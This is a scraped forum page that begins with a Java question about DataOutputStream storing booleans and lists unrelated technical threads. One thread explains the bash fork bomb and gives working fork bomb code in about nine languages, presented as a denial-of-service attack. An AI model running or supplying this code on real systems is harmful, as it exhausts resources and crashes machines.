Why does DataOutputStream write Boolean as 1 Byte?

Im trying to conserve space in a file storing booleans.
why does dataoutputstream write booleans as a byte?
is there a way to write a bit only?
thanks!

Hi,
A boolean does even allocate at least 8 bits when it is declared in the code.
From the VM spec:
"3.2.4 There Is No boolean Type
Although Java defines a boolean type, the Java Virtual Machine does not
have instructions dedicated to operations on boolean values. Instead, a
Java expression that operates on boolean values is compiled to use the int
data type to represent boolean variables.
Although the Java Virtual Machine has support for the creation of arrays of
type boolean (see the description of the newarray instruction), it does not
have dedicated support for accessing and modifying elements of boolean
arrays. Arrays of type boolean are accessed and modified using the byte
array instructions.1
For more information on the treatment of boolean values in the Java Virtual
Machine, see Chapter 7, "Compiling for the Java Virtual Machine.""http://java.sun.com/docs/books/vmspec/html/Overview.doc.html#22909
/Kaj

Similar Messages

  • Why does VISA write vi get a clock symbol added?

    In an application, I was using the older serial I/O primitive vi's, and now that I've switched to LV 7.1, I wanted to change the older serial read and write (worked fine) vi's (not VISAs) to the VISA Read and Write. When I place a VISA write on the block diagram, it adds a little clock symbol at the upper right corner that was not on the templates.
    What is this clock symbol doing there, when it wasn't on the functions panel version of the VISA write vi?
    Having a lot of problems getting the VISA read and write vi's to work; they seem to be far more tricky than the old primitive serial read and write vi's.
    All my VISA read vi's are getting errors, and some of them cause a severe slowdown on execution with those er
    rors. Thoughts on debugging these problemsome VISA vi's. (These problems are why I used the primitive serial read and write vi's in the first place.. couldn't get the VISA vis to work.)
    Thx.

    The little clock symbol means to do I/O asynchronously. If you right click on the function, you'll see the option to do it synchronously. Select that and the clock will disappear.
    What exactly are the errors that you're getting? One thing to try is to disable termination character detection with VISA Configure Serial Port and use VISA Bytes at Serial Port to determine how many bytes to read. If you have enabled the termination character and specify too many bytes to read, you'll get an error because VISA Read will timeout waiting for the termination character to be detected.

  • Why does my ipod touch have 0 bytes

    I have deleted pictures, apps etc. and I still have 0 bytes.  How can I fix this?  It is an Ipod Touch 4th generation ios 4.3.5

    First, try a system reset.  It cures many ills and it's quick, easy and harmless...
    Hold down the on/off switch and the Home button simultaneously until the screen blacks out or you see the Apple logo.  Ignore the "Slide to power off" text if it appears.  You will not lose any apps, data, music, movies, settings, etc.
    If the Reset doesn't work, try a Restore.  Note that it's nowhere near as quick as a Reset.  Connect via cable to the computer that you use for sync.  From iTunes, select the iPad/iPod and then select the Summary tab.  Follow directions for Restore and be sure to say "yes" to the backup.  You will be warned that all data (apps, music, movies, etc.) will be erased but, as the Restore finishes, you will be asked if you wish the contents of the backup to be copied to the iPad/iPod.  Again, say "yes."
    Finally, if the Restore doesn't work, let the battery drain completely.  Then recharge for at least an hour and Restore again.

  • Why does visa write hang with Labview 2009 instrument drivers.

    I'm having an issue with a code package that I'm running. The pacakge is very complex and was written by someone other than me. It runs fine while using the labview 8.5 drivers, however, when the 2009 instrument drivers are install there is a visa write call to an instrument where the software will hang up at the VISA write VI. I tried setting the timeout attribute but that makes no difference. I would expect that if the visa write did not work, that it would time out with an error instead of hanging up.
    Some additional information. The instrument is an EPM which is on a GPIB bus with other instruments. When I place the EPM2000 on a serparate bus this problem goes away, but I want to be able to operate on the same GPIB bus.
    Has anyone experienced a similar problem? What can I try to help troubleshoot the problem. I tried opening NI Spy but that shows no activity going on.

    Hi Steve,
    My apologies, when you said instrument drivers I assumed you were refering to the individual drivers for your instrument.  Were you refering to the VISA drivers?  If so, the latest version of these is 5.1.1 which can be downloaded here: http://joule.ni.com/nidu/cds/view/p/id/2659/lang/en.
    Also are you able to communicate with this device using the test panels in Measurement & Automation Explorer?  There is also a tool called NI IO Trace (or it may still be called NI-SPY in 2009) that can be opened from MAX that monitors all GPIB commands sent and received on the machine.  Getting a log of the commands when the hang occurs may help to diagnose it.
    It is possible this issue could be caused by opening and closing the VISA reference frequently in the code such as in a loop iteration.  Is this is case in your code?
    Justin D
    Applications Engineer
    National Instruments
    http://www.ni.com/support/

  • Why does my mac mini not read or write DVD's?

    Why does my mac mini not read or write DVD's? I have tried different5 brands of media, checked firmware  and followed every 'fix it' available. HELP.
    It is a late 2009

    See my FAQ*:
    http://www.macmaps.com/cdrfailure.html

  • Why does the Java API use int instead of short or byte?

    Why does the Java API use int if short or even byte would be sufficient?
    Example: The DAY_OF_WEEK field in Calendar uses int.

    One of the point is, on the benchmark tests on Java performance, int does far better than short and byte data types.
    Please follow the below blog talks about the same.
    Java Primative Speed
    -K

  • Why does Siri cc myself each time I write an email with her?

    Why does Siri cc myself each time I write an email with her?  I have turned off the CCing features in the settings.   And when i write an email manually it doesn't send me a CC...  Can anyone help me

    What is different about the contact information for this one individual from all the other contacts on the device?

  • Why does my mac when i try to format my stick say that unable to write to the last block of the device

    i bought a new mac with osx lion 10.7.why does my mac when i try to format my transcend 8 gb stick in disk utility say that it is unable to write to the last block of the device?please help me

    This may or may not work, but it's worth a try.
    Using Disk Utility, try an re-partition the drive into two partitions, making the second partition very small (a megabyte or two), then see if you can format the first partition normally. Leave the second partition alone.
    If this works, then the first partiton is what you will use.

  • RE: (HLS) Why does Verilog pointer requires two clocks to get updated??

    In HLS (2015.2), I created a simple comparator circuit. The HLS C-simulation worked fine. The HLS C-function compares
    8-bit integers received from an 8-bit data bus against a fixed array of 8-bit integers. If the first integer matches, a pointer is incremented, and the C-function will then look for the 2nd integer in the array. If the sequence of 8-bit integers on the data
    bus matches the sequence of bytes in the stored array, a  match is detected.
    After observing a good C-simulation, I instantiated the HLS Verilog file code into the original manually generated top-level
    chip Verilog code, and attempted a Modelsim simulation. It did not work!!
    The HLS generated Verilog file has the ports below:
    ap_clk
    ap_rst
    ap_start
    ch(7:0)   <---    This is the incoming 8-bit data bus.
    ch_valid   <----   This is an input that indicates the ch(7:0) data bus has valid data.
    ap_return   <---   This is the match signal.
    If ch_valid is HIGH, the comparator compares ch(7:0) data bus against the known internal fixed array of 8-bit integers. The
    ch(7:0) data bus changes every ap_clk. The problem with the HLS verilog code is that two clock cycles are needed to update the pointer, which points to the next integer in the fixed array. For the HLS circuit to work properly, the ch(7:0) data bus can't change every clock-cycle. The ch(7:0) data bus needs to be stable for 2-clock cycles. The only reason I found this was
    due to the ModelSim simulation. In the C-code below, the fixed array is "pattern0", while the pointer is "check0."
    int compare (uint8_t ch, int ch_valid, int sop)
    uint8_t pattern0[24] = {0xaa, 0xbb, 0xcc, 0xdd, 0x12, 0x34, 0x56, 0x78, 0x11, 0x11, 0x22, 0x22, \
                                    0x33, 0x33, 0x44, 0x44, 0x22, 0x22, 0x33, 0x33, 0x44, 0x44, 0x55, 0x55};
    static int prematch0 = 0, check0 = 0, match0 = 0;
    int j;
    if (ch_valid == 1) {
        if(check0 < sizeof(pattern0)){
             if(ch == pattern0[check0]) {
                prematch0 = 1;
                check0 = check0+1;
             else {
                 prematch0 = 0;
                 check0 = 0;
         else if ((check0 == sizeof(pattern0)) && (prematch0 == 1)) {
              check0 = check0;
              match0 = 1;
              prematch0 = 1;
         else {
              check0 = check0;
              match0 = match0;
              prematch0 = prematch0;
    else {
           check0 = check0;
           match0 = match0;
           prematch0 = prematch0;
    return (match0);
    If I write this code manually in Verilog, the check0 pointer is updated in one clock cycle.
    Questions:
    Why does HLS need two clock cycles to update the check0 pointer?
    Do I need to set an HLS directive to cause the verilog code to be generated in a different way?
    Does the C-code need to be written differently?
    Thanks,
    Roy

    Hi Debraj,
    Thanks for the response. I have another question.
    I quicly took the C-code above and added a Verilog clock statement.  The code below would execute in one clock.
    Is there any way I can re-write the C-code to reduce the 2cc down to 1cc, or is this not possible?
    always @(posedge ap_clk) {
       if (ch_valid == 1) {
           if(check0 < sizeof(pattern0)){
                if(ch == pattern0[check0]) {
                    prematch0 = 1;
                    check0 = check0+1;
                else {
                    prematch0 = 0;
                    check0 = 0;
           else if ((check0 == sizeof(pattern0)) && (prematch0 == 1)) {
                check0 = check0;
                match0 = 1;
                prematch0 = 1;
           else {
                check0 = check0;
                match0 = match0;
                prematch0 = prematch0;
        else {
           check0 = check0;
           match0 = match0;
           prematch0 = prematch0;
    Thanks,
    Roy

  • Why does performance decrease as cache size increases?

    Hi,
    We have some very serious performance problems with our
    database. I have been trying to help by tuning the cache size,
    but the results are the opposite of what I expect.
    To create new databases with my data set, it takes about
    8200 seconds with a 32 Meg cache. Performance gets worse
    as the cache size increases, even though the cache hit rate
    improves!
    I'd appreciate any insight as to why this is happening.
    32 Meg does not seem like such a large cache that it would
    strain some system limitation.
    Here are some stats from db_stat -m
    Specified a 128 Meg cache size - test took 16076 seconds
    160MB 1KB 900B Total cache size
    1 Number of caches
    1 Maximum number of caches
    160MB 8KB Pool individual cache size
    0 Maximum memory-mapped file size
    0 Maximum open file descriptors
    0 Maximum sequential buffer writes
    0 Sleep after writing maximum sequential buffers
    0 Requested pages mapped into the process' address space
    34M Requested pages found in the cache (93%)
    2405253 Requested pages not found in the cache
    36084 Pages created in the cache
    2400631 Pages read into the cache
    9056561 Pages written from the cache to the backing file
    2394135 Clean pages forced from the cache
    2461 Dirty pages forced from the cache
    0 Dirty pages written by trickle-sync thread
    40048 Current total page count
    40048 Current clean page count
    0 Current dirty page count
    16381 Number of hash buckets used for page location
    39M Total number of times hash chains searched for a page (39021639)
    11 The longest hash chain searched for a page
    85M Total number of hash chain entries checked for page (85570570)
    Specified a 64 Meg cache size - test took 10694 seconds
    80MB 1KB 900B Total cache size
    1 Number of caches
    1 Maximum number of caches
    80MB 8KB Pool individual cache size
    0 Maximum memory-mapped file size
    0 Maximum open file descriptors
    0 Maximum sequential buffer writes
    0 Sleep after writing maximum sequential buffers
    0 Requested pages mapped into the process' address space
    31M Requested pages found in the cache (83%)
    6070891 Requested pages not found in the cache
    36104 Pages created in the cache
    6066249 Pages read into the cache
    9063432 Pages written from the cache to the backing file
    5963647 Clean pages forced from the cache
    118611 Dirty pages forced from the cache
    0 Dirty pages written by trickle-sync thread
    20024 Current total page count
    20024 Current clean page count
    0 Current dirty page count
    8191 Number of hash buckets used for page location
    42M Total number of times hash chains searched for a page (42687277)
    12 The longest hash chain searched for a page
    98M Total number of hash chain entries checked for page (98696325)
    Specified a 32 Meg cache size - test took 8231 seconds
    40MB 1KB 900B Total cache size
    1 Number of caches
    1 Maximum number of caches
    40MB 8KB Pool individual cache size
    0 Maximum memory-mapped file size
    0 Maximum open file descriptors
    0 Maximum sequential buffer writes
    0 Sleep after writing maximum sequential buffers
    0 Requested pages mapped into the process' address space
    26M Requested pages found in the cache (70%)
    10M Requested pages not found in the cache (10812846)
    35981 Pages created in the cache
    10M Pages read into the cache (10808327)
    9200273 Pages written from the cache to the backing file
    9335574 Clean pages forced from the cache
    1498651 Dirty pages forced from the cache
    0 Dirty pages written by trickle-sync thread
    10012 Current total page count
    10012 Current clean page count
    0 Current dirty page count
    4099 Number of hash buckets used for page location
    47M Total number of times hash chains searched for a page (47429232)
    13 The longest hash chain searched for a page
    118M Total number of hash chain entries checked for page (118218066)
    vmstat says that a few minutes into the test, the box is
    spending 80-90% of its time in iowait. That worsens as
    the test continues.
    System and test info follows
    We have 10 databases (in 10 files) sharing a database
    environment. We are using a hash table since we expect
    data accesses to be pretty much random.
    We are using the default cache type: a memory mapped file.
    Using DB_PRIVATE did not improve performance.
    The database environment created with these flags:
    DB_CREATE | DB_THREAD | DB_INIT_CDB | DB_INIT_MPOOL
    The databases are opened with only the DB_CREATE flag.
    There is only one process accessing the db. In my tests,
    only one thread access the db, doing only writes.
    We do not use transactions.
    My data set is about 550 Meg of plain ASCII text data.
    13 million inserts and 2 million deletes. Key size is
    32 bytes, data size is 4 bytes.
    BDB 4.6.21 on linux.
    1 Gig of RAM
    Filesystem = ext3 page size = 4K
    The test system is not doing anything else while I am
    testing.

    Surprising result: I tried closing the db handles with DB_NOSYNC and performance
    got worse. Using a 32 Meg cache, it took about twice as long to run my test:
    15800 seconds using DB->close(DB_NOSYNC) vs 8200 seconds using DB->close(0).
    Here is some data from db_stat -m when using DB_NOSYNC:
    40MB 1KB 900B Total cache size
    1 Number of caches
    1 Maximum number of caches
    40MB 8KB Pool individual cache size
    0 Maximum memory-mapped file size
    0 Maximum open file descriptors
    0 Maximum sequential buffer writes
    0 Sleep after writing maximum sequential buffers
    0 Requested pages mapped into the process' address space
    26M Requested pages found in the cache (70%)
    10M Requested pages not found in the cache (10811882)
    44864 Pages created in the cache
    10M Pages read into the cache (10798480)
    7380761 Pages written from the cache to the backing file
    3452500 Clean pages forced from the cache
    7380761 Dirty pages forced from the cache
    0 Dirty pages written by trickle-sync thread
    10012 Current total page count
    5001 Current clean page count
    5011 Current dirty page count
    4099 Number of hash buckets used for page location
    47M Total number of times hash chains searched for a page (47428268)
    13 The longest hash chain searched for a page
    118M Total number of hash chain entries checked for page (118169805)
    It looks like not flushing the cache regularly is forcing a lot more
    dirty pages (and fewer clean pages) from the cache. Forcing a
    dirty page out is slower than forcing a clean page out, of course.
    Is this result reasonable?
    I suppose I could try to sync less often than I have been, but more often
    than never to see if that makes any difference.
    When I close or sync one db handle, I assume it flushes only that portion
    of the dbenv's cache, not the entire cache, right? Is there an API I can
    call that would sync the entire dbenv cache (besides closing the dbenv)?
    Are there any other suggestions?
    Thanks,
    Eric

  • Why does this make *nix crash ?

    why does
    :(){ :|:& };:
    make my system crash ?
    * Don`t try it if you don`t want to crash your box

    :(){:|:&};:
    can also be viewed as
    function(){
    function|function&
    Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.
    Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.
    So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.
    What's the point? It's a denial of service attack, plain and simple.
    Various other type of forkbombs...
    Windows
    %0|%0
    -or-
    :s
    start %0
    %0|%0
    goto :s
    Perl
    fork while fork
    Haskell
    import Control.Monad
    import System.Posix.Process
    forkBomb = forever $ forkProcess forkBomb
    Python
    import os
    while True:
    os.fork()
    Ruby
    loop { fork }
    C/C++
    #include <unistd.h>
    int main(void)
    while(1)
    fork();
    return 0;
    NASM
    section .text
    global _start ;Call start
    _start:
    push byte 2 ;syscall to Linux fork
    pop eax ;set EAX argument for fork to NULL [So it works in strings]
    int 0x80 ;Execute syscall with fork & the EAX [null, above] argument
    jmp short _start ;Go back to beginning, causing a fork bomb
    Lisp
    (defmacro wabbit () ;; A program that writes code.
    (let ((fname (gentemp 'INET)))
    `(progn
    (defun ,fname () ;; Generate.
    nil)
    (wabbit))))
    (wabbit) ;; Start multiplying.
    * Disclaimer: It's not my fault if you fuck up your system trying these out.
    ** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.
    Last edited by Ghost1227 (2009-06-21 14:02:55)

  • Why does my card reader not work on my iPad since upgrade?

    I use my iPad mini to download photos from my camera when I'm on the road. In the summer I bought the "3 in 1 Card Reader Adapter Cable Camera Connection Kit, 3 Port Card Reader for iPad 4 and iPad Mini by Eurekka" and it worked wonderfully. I was able to download photos (jpg and RAW) directly to the iPad and off the camera, and once home it was a flawless upload to my iMac.
    However, once I upgraded to iOS 7 last week I get a message saying the device is not supported. What gives? Will this be fixed or will Apple products only accept Apple accessories from now on?

    No but I was just trying to find a way in to your help desk. I didn't find 
    your web page very helpful in this regard.
    Douglas Whiteley
    In a message dated 10/05/2012 20:43:50 GMT Daylight Time, [email protected] 
    writes:
    Re:  why does my adobe reader not work
    created by Claudio  González
    (http://forums.adobe.com/people/Claudio+González)  in Adobe Reader - View the full  discussion
    (http://forums.adobe.com/message/4395059#4395059)

  • Why does iTunes fail to see that I am a customer

    Why has it taken 20 days and iTunes still hasn'tfixed my account?
    Why have I ended up with two iTunes account instead of just one?
    Why are the people running the system so thick that the two accounts created god knows why both belong to the same person?
    Why is the customer serviceso indifferent and off balance so much that it is barely service at all?
    Why does iTunes not fix their system so that they deal with issues once, once only and move to the next customer thereby reducing everyones waiting time.

    The Apple Support Communities are an international user to user technical support forum. As a man from Mexico my first language is Spanish. I do not speak English, however I do write in English with the aid of the Mac OS X spelling and grammar checks. I also live in a culture perhaps very very different from your own. When offering advice in the ASC, my comments are not meant to be anything more than helpful and certainly not to be taken as insults.
    Have you ever actually bought anything from the Mac App Store? Have you created an iTunes account in the past? Do you have a bank card from a bank in the country where you live with a local billing address?

  • Why does opening and closing FPGA references increase Windows XP handles by 3?

    Hello.
    We run a test system here that uses TestStand to communicate
    to a number of Labview VI modules which in turn communicates to a
    PXI-7833R FPGA. Everything has been working fine except after a long time running Labview would get an out of memory error. I discovered
    after a particular VI was run 100,000 times, the number of handles in Windows XP Task
    Manager grew to about 370,000. The number of threads and processes remains stable and normal. Closing Labview removes all the excessive handles.
    I tried an experiment to create a standalone VI (ie: no TestStand) which simply opens the FPGA VI reference then closes the reference. This is repeated 4 times in the same VI. The number of handles in Windows XP Task
    Manager increased by 12 each time the VI was run. No errors. This indicates closing the FPGA reference might not be working.
    Why does this happen? Is there a way to avoid it? The version of Labview is 8.5.1.
    Appreciate any help here. Thanks.
    -Dave

    could be related to this known issue--
    FPGA FIFO reset behavior—When you use an FPGA target
    emulator, FPGA FIFOs reset when the VI is stopped and then started
    again. When you use an FPGA target with Interactive Front Panel
    Communication, FPGA FIFOs do not reset when the FPGA VI is stopped and
    then started again. To reset the FIFO, right-click the FPGA target in
    the Project Explorer window and select Download
    from the shortcut menu. When you control an FPGA VI using Programmatic
    FPGA Interface Communication, use the Close FPGA VI Reference function
    with the Close and Reset shortcut menu option selected or the Invoke Method with the Reset method selected to reset FPGA FIFOs
    see Knowledgebase
    Also remeber to load the FPGA Read/Write VI's dynamically from testStand and dump them after.  Thechange to the data type causes the vi to need to recompile so it can't stay in memory if you need different types of data.
    Message Edited by Jeff Bohrer on 10-27-2009 02:21 PM
    Jeff

  • Why does you tube prevent music video downloads?

    I have figured out that music companies do not want you tube users to download videos to their hard drives or jump drives. Well, I want to. All the other videos work fine. I am using Firefox 18.0 with video download helper, and every time I download a music video, it says zero bytes. Zero byte download files, zero byte music video file. So I found the workaround to this problem to be save vid dot com, where I can enter the url to the music video I want to download and save it to my disk. Why does Firefox not allow this. Why does you tube not allow this. Money must be involved. Like I said, there must be some stupid reason why they don't want us to download their music videos. What's their problem. I just want to watch the video when I am offline, and save vid has saved me from getting angry again.
    All the other videos that do not have major sponsors download just fine, and it's sad that we have to find workarounds to stupid problems. Save vid allows you to save the you tube video without loading a spybot plugin that changes your home page and peppers you with ads, I'm glad they have it. I hope to save someone else the trouble.

    Actually, it is keep vid dot come, not save vid that i used, but both are legit websites that allow you to download videos from anywhere without a lot of hassle or unsafe plugins. Sorry about any confusion.

Maybe you are looking for

  • Motorola KRZR, isync, and, OS 10.4.9 "device not found"

    I have had a Motorola KRZR for a few week now and have read it was possible (through a hack) to sync it with ical and addresses through isync. I figured that now the KRZR is supported by the 10.4.9 OS update it would be easy. I plug in my phone throu

  • TS1314 I accidently deleted my ipod photo cache. How can I get it back?

    I accidently deleted my IPod Photo Cache thinking I didn't need it. Now I've messed everything up. How can I get this back?

  • Async SOAP Header Clarification (MessageID)

    For my scenario I am using the Oracle BPEL example for asynchronous Loan processing (105.AsyncCompositeLoanBroker) to invoke a Web Service running on my same machine, but behind an IIS server. Basically there is an invoke to the Web Service and a cal

  • 10.4.7 CPU Whine!!!! Please HeLp.. Newbie!!!!

    Hi Guys.. I recently got a MBP (week 23) standard config.. As far as i remember i didnt notice the whirring or buzzing sound (known as CPU whine) until i upgraded to 10.4.7.. Well its pretty faint but i can easily here it when i am in a silent room n

  • Using the fireTableRowsDeleted Event

    hii all , :( I had develope a small application where i am using the JTable and also sorter for filtering the content , In Jtable i am using the AbstractTableModel , and on a click of the checkbox in jTable i delete the row for which i had written th